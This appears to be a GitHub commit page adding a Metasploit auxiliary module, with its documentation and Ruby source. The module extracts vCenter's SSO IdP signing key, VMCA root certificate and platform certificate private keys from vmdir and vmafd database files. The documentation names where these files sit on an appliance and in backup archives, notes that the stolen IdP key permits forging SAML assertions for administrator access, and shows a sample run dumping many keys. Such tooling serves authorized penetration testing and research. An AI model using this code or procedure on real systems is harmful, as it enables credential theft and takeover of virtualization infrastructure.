Skip to content

Commit f6bd8fd

Browse files
committed
Land #16571, Vcenter offline mdb extract
Merge branch 'land-16571' into upstream-master
2 parents 47fcf54 + 1d9089f commit f6bd8fd

File tree

2 files changed

+307
-0
lines changed

2 files changed

+307
-0
lines changed
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
Grab certificates from the vCenter server vmdird or vmafd database files and adds them to loot.
2+
This module will accept files from a live vCenter appliance or from a vCenter appliance backup
3+
archive; either or both files can be supplied to the module depending on the situation. The module
4+
will extract the vCenter SSO IdP signing credential from the vmdir database, which can be used to
5+
create forged SAML assertions and access the SSO directory as an administrator. The vmafd service
6+
contains the vCenter certificate store which from which the module will attempt to extract all vmafd
7+
certificates that also have a corresponding private key. Portions of this module are based on
8+
information published by Zach Hanley at Horizon3:
9+
10+
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
11+
12+
## Vulnerable Application
13+
This module is tested against the vCenter appliance but will probably work against Windows instances.
14+
It has been tested against files from vCenter appliance versions 6.5, 6.7, and 7.0. The module will
15+
work with files retrieved from a live vCenter system as well as files extracted from an unencrypted
16+
vCenter backup archive.
17+
18+
## Verification Steps
19+
You must possess the vmdir and/or vmafd database files from vCenter in order to use this module. The
20+
files must be local to the system invoking the module. Where possible, you should provide the
21+
`VC_IP` option to tag relevant loot entries with the IPv4 address of the originating system. If no
22+
value is provided for `VC_IP` the module defaults to assigning the loopback IP `127.0.0.1`.
23+
24+
1. Acquire the vmdir and/or vmafd database files from vCenter (see below)
25+
2. Start msfconsole
26+
3. Do: `use auxiliary/admin/vmware/vcenter_offline_mdb_extract`
27+
4. Do: `set vmdir_mdb <path to data.mdb>` if you are extracting from the vmdir database
28+
5. Do: `set vmafd_db <path to afd.db>` if you are extracting from the vmafd database
29+
6. Do: `set vc_ip <vCenter IPv4>` to attach the target vCenter IPv4 address to loot entries
30+
7. Do: `dump`
31+
32+
## Options
33+
**VMDIR_MDB**
34+
35+
Path to the vmdird MDB database file on the local system. Example: `/tmp/data.mdb`
36+
37+
**VMAFD_DB**
38+
39+
Path to the vmafd DB file on the local system. Example: `/tmp/afd.db`
40+
41+
**VC_IP**
42+
43+
Optional parameter to set the IPv4 address associated with loot entries made by the module.
44+
45+
## Scenarios
46+
47+
### Acquire Database Files
48+
This module targets the internal databases of vCenter vmdir (OpenLDAP Memory-Mapped Database) and
49+
vmafd (SQLite3). On a live vCenter appliance, these files can be downloaded with root access from
50+
the following locations:
51+
52+
`vmdir: /storage/db/vmware-vmdir/data.mdb`
53+
`vmafd: /storage/db/vmware-vmafd/afd.db`
54+
55+
If you are extracting from a backup file, target files are available in the following archives:
56+
57+
`vmdir: lotus_backup.tar.gz`
58+
`vmafd: config_files.tar.gz`
59+
60+
### Running the Module
61+
Example run against database files extracted from vCenter appliance version 7.0 Update 3d:
62+
63+
```
64+
msf6 > use auxiliary/admin/vmware/vcenter_offline_mdb_extract
65+
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmdir_mdb /tmp/data.mdb
66+
vmdir_mdb => /tmp/data.mdb
67+
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmafd_db /tmp/afd.db
68+
vmafd_db => /tmp/afd.db
69+
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vc_ip 192.168.100.70
70+
vc_ip => 192.168.100.70
71+
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > dump
72+
73+
[*] Extracting vmwSTSTenantCredential from /tmp/data.mdb ...
74+
[+] SSO_STS_IDP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_idp_571080.key
75+
[+] SSO_STS_IDP cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_idp_564729.pem
76+
[+] VMCA_ROOT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_vmca_721819.pem
77+
[*] Extracting vSphere platform certificates from /tmp/afd.db ...
78+
[+] __MACHINE_CERT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70___MACHINE_CERT_869237.key
79+
[+] __MACHINE_CERT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70___MACHINE_CERT_240839.pem
80+
[+] DATA-ENCIPHERMENT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_DATAENCIPHERMEN_350586.key
81+
[+] DATA-ENCIPHERMENT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_DATAENCIPHERMEN_106169.pem
82+
[+] HVC key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_HVC_825963.key
83+
[+] HVC cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_HVC_399928.pem
84+
[+] MACHINE key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_MACHINE_995574.key
85+
[+] MACHINE cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_MACHINE_156797.pem
86+
[+] SMS_SELF_SIGNED key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_SMS_SELF_SIGNED_169524.key
87+
[+] SMS_SELF_SIGNED cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_SMS_SELF_SIGNED_230704.pem
88+
[+] VPXD key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXD_370336.key
89+
[+] VPXD cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXD_300599.pem
90+
[+] VPXD-EXTENSION key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXDEXTENSION_571196.key
91+
[+] VPXD-EXTENSION cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXDEXTENSION_088742.pem
92+
[+] VSPHERE-WEBCLIENT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VSPHEREWEBCLIEN_060718.key
93+
[+] VSPHERE-WEBCLIENT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VSPHEREWEBCLIEN_280013.pem
94+
[+] WCP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_057402.key
95+
[+] WCP cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_909204.pem
96+
[*] Auxiliary module execution completed
97+
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) >
98+
```
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'metasploit/framework/credential_collection'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Auxiliary::Report
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'VMware vCenter Extract Secrets from vmdir / vmafd DB File',
16+
'Description' => %q{
17+
Grab certificates from the vCenter server vmdird and vmafd
18+
database files and adds them to loot. The vmdird MDB database file
19+
can be found on the live appliance under the path
20+
/storage/db/vmware-vmdir/data.mdb, and the DB vmafd is under path
21+
/storage/db/vmware-vmafd/afd.db. The vmdir database contains the
22+
IdP signing credential, and vmafd contains the vCenter certificate
23+
store. This module will accept either file from a live vCenter
24+
appliance, or from a vCenter appliance backup archive; either or
25+
both files can be supplied.
26+
},
27+
'Author' => 'npm[at]cesium137.io',
28+
'Platform' => [ 'linux' ],
29+
'DisclosureDate' => '2022-05-10',
30+
'License' => MSF_LICENSE,
31+
'References' => [
32+
['URL', 'https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/']
33+
],
34+
'Actions' => [
35+
[
36+
'Dump',
37+
{
38+
'Description' => 'Dump secrets from vCenter files'
39+
}
40+
]
41+
],
42+
'DefaultAction' => 'Dump',
43+
'Notes' => {
44+
'Stability' => [ CRASH_SAFE ],
45+
'Reliability' => [ REPEATABLE_SESSION ],
46+
'SideEffects' => [ ARTIFACTS_ON_DISK ]
47+
}
48+
)
49+
)
50+
51+
register_options([
52+
OptPath.new('VMDIR_MDB', [ false, 'Path to the vmdir data.mdb file' ]),
53+
OptPath.new('VMAFD_DB', [ false, 'Path to the vmafd afd.db file' ]),
54+
OptString.new('VC_IP', [ false, '(Optional) IPv4 address to attach to loot' ])
55+
])
56+
57+
register_advanced_options([
58+
OptInt.new('MDB_CHUNK_SIZE', [ true, 'Block size to use when scanning MDB file', 4096 ]),
59+
OptInt.new('MDB_STARTING_OFFSET', [ true, 'Starting offset for MDB file binary scan', 0 ])
60+
])
61+
end
62+
63+
def loot_host
64+
datastore['VC_IP'] || '127.0.0.1'
65+
end
66+
67+
def vmdir_file
68+
datastore['VMDIR_MDB']
69+
end
70+
71+
def vmafd_file
72+
datastore['VMAFD_DB']
73+
end
74+
75+
def run
76+
unless vmdir_file || vmafd_file
77+
print_error('Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)')
78+
return
79+
end
80+
if vmdir_file
81+
print_status("Extracting vmwSTSTenantCredential from #{vmdir_file} ...")
82+
extract_idp_cert
83+
end
84+
if vmafd_file
85+
print_status("Extracting vSphere platform certificates from #{vmafd_file} ...")
86+
extract_vmafd_certs
87+
end
88+
end
89+
90+
def extract_vmafd_certs
91+
db = SQLite3::Database.open(vmafd_file)
92+
db.results_as_hash = true
93+
unless (vecs_entry_alias = db.execute('SELECT DISTINCT Alias FROM CertTable WHERE PrivateKey NOT NULL;'))
94+
fail_with(Msf::Exploit::Failure::NoTarget, 'Empty Alias list returned from CertTable')
95+
end
96+
vecs_entry_alias.each do |vecs_alias|
97+
store_label = vecs_alias['Alias'].upcase
98+
unless (res = db.execute("SELECT PrivateKey, CertBlob FROM CertTable WHERE Alias = '#{store_label}';").first)
99+
fail_with(Msf::Exploit::Failure::NoTarget, "Could not extract CertTable Alias '#{store_label}'")
100+
end
101+
priv_pem = res['PrivateKey'].encode('utf-8').delete("\000")
102+
pub_pem = res['CertBlob'].encode('utf-8').delete("\000")
103+
begin
104+
key = OpenSSL::PKey::RSA.new(priv_pem)
105+
cert = OpenSSL::X509::Certificate.new(pub_pem)
106+
p = store_loot(store_label, 'PEM', loot_host, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")
107+
print_good("#{store_label} key: #{p}")
108+
p = store_loot(store_label, 'PEM', loot_host, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
109+
print_good("#{store_label} cert: #{p}")
110+
rescue OpenSSL::PKey::PKeyError
111+
print_error("Could not extract #{store_label} private key")
112+
rescue OpenSSL::X509::CertificateError
113+
print_error("Could not extract #{store_label} certificate")
114+
end
115+
end
116+
rescue SQLite3::NotADatabaseException => e
117+
fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118+
rescue SQLite3::SQLException => e
119+
fail_with(Msf::Exploit::Failure::NoTarget, "Error calling SQLite3: #{e.message}")
120+
end
121+
122+
def extract_idp_cert
123+
sts_pem = nil
124+
unless (bytes = read_mdb_sts_block(vmdir_file, datastore['MDB_CHUNK_SIZE'], datastore['MDB_STARTING_OFFSET']))
125+
fail_with(Msf::Exploit::Failure::NoTarget, "Invalid vmdird database '#{vmdir_file}': unable to locate TenantCredential-1 in binary stream")
126+
end
127+
idp_key = get_sts_key(bytes)
128+
idp_key_pem = idp_key.to_pem.to_s
129+
get_sts_pem(bytes).each do |stscert|
130+
idp_cert_pem = stscert.to_pem.to_s
131+
case stscert.check_private_key(idp_key)
132+
when true # Private key associates with public cert
133+
sts_pem = "#{idp_key_pem}#{idp_cert_pem}"
134+
p = store_loot('idp', 'PEM', loot_host, idp_key_pem, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')
135+
print_good("SSO_STS_IDP key: #{p}")
136+
p = store_loot('idp', 'PEM', loot_host, idp_cert_pem, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')
137+
print_good("SSO_STS_IDP cert: #{p}")
138+
when false # Private key does not associate with this cert (VMCA root)
139+
p = store_loot('vmca', 'PEM', loot_host, idp_cert_pem, 'VMCA_ROOT.pem', 'vCenter VMCA root certificate')
140+
print_good("VMCA_ROOT cert: #{p}")
141+
end
142+
end
143+
unless sts_pem # We were unable to link a public and private key together
144+
fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to associate IdP certificate and private key')
145+
end
146+
end
147+
148+
def read_mdb_sts_block(file_name, chunk_size, offset)
149+
bytes = nil
150+
file = File.open(file_name, 'rb')
151+
while offset <= file.size - chunk_size
152+
buf = File.binread(file, chunk_size, offset + 1)
153+
if buf.match?(/cn=tenantcredential-1/i) && buf.match?(/[\x30\x82](.{2})[\x30\x82]/n) && buf.match?(/[\x30\x82](.{2})[\x02\x01\x00]/n)
154+
target_offset = offset + buf.index(/cn=tenantcredential-1/i) + 1
155+
bytes = File.binread(file, chunk_size * 2, target_offset)
156+
break
157+
end
158+
offset += chunk_size
159+
end
160+
bytes
161+
rescue StandardError => e
162+
fail_with(Msf::Exploit::Failure::Unknown, "Exception in #{__method__}: #{e.message}")
163+
ensure
164+
file.close
165+
end
166+
167+
def read_der(bytes)
168+
der_len = (bytes[2..3].unpack('H*').first.to_i(16) + 4).to_i
169+
unless der_len <= bytes.length - 1
170+
fail_with(Msf::Exploit::Failure::Unknown, 'Malformed DER: byte length exceeds working buffer size')
171+
end
172+
bytes[0..der_len - 1]
173+
end
174+
175+
def get_sts_key(bytes)
176+
working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}020100/) / 2 # PKCS1 magic bytes
177+
byte_len = bytes.length - working_offset
178+
key_bytes = read_der(bytes[working_offset, byte_len])
179+
key_b64 = Base64.strict_encode64(key_bytes).scan(/.{1,64}/).join("\n")
180+
key_pem = "-----BEGIN PRIVATE KEY-----\n#{key_b64}\n-----END PRIVATE KEY-----"
181+
vprint_status("key_pem:\n#{key_pem}")
182+
OpenSSL::PKey::RSA.new(key_pem)
183+
rescue OpenSSL::PKey::PKeyError
184+
# fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of PKCS#1 RSA private key')
185+
print_error('Failure during extract of PKCS#1 RSA private key')
186+
end
187+
188+
def get_sts_pem(bytes)
189+
idp_certs = []
190+
working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}3082/) / 2 # x509v3 magic bytes
191+
byte_len = bytes.length - working_offset
192+
working_bytes = bytes[working_offset, byte_len]
193+
[4, 8].each do |offset|
194+
der_bytes = read_der(working_bytes)
195+
der_b64 = Base64.strict_encode64(der_bytes).scan(/.{1,64}/).join("\n")
196+
der_pem = "-----BEGIN CERTIFICATE-----\n#{der_b64}\n-----END CERTIFICATE-----"
197+
vprint_status("der_pem:\n#{der_pem}")
198+
idp_certs << OpenSSL::X509::Certificate.new(der_pem)
199+
next_offset = working_offset + der_bytes.length + offset - 1
200+
working_offset = next_offset
201+
byte_len = bytes.length - working_offset
202+
working_bytes = bytes[working_offset, byte_len]
203+
end
204+
idp_certs
205+
rescue OpenSSL::X509::CertificateError
206+
# fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of x509v3 certificate')
207+
print_error('Failure during extract of x509v3 certificate')
208+
end
209+
end

0 commit comments

Comments
 (0)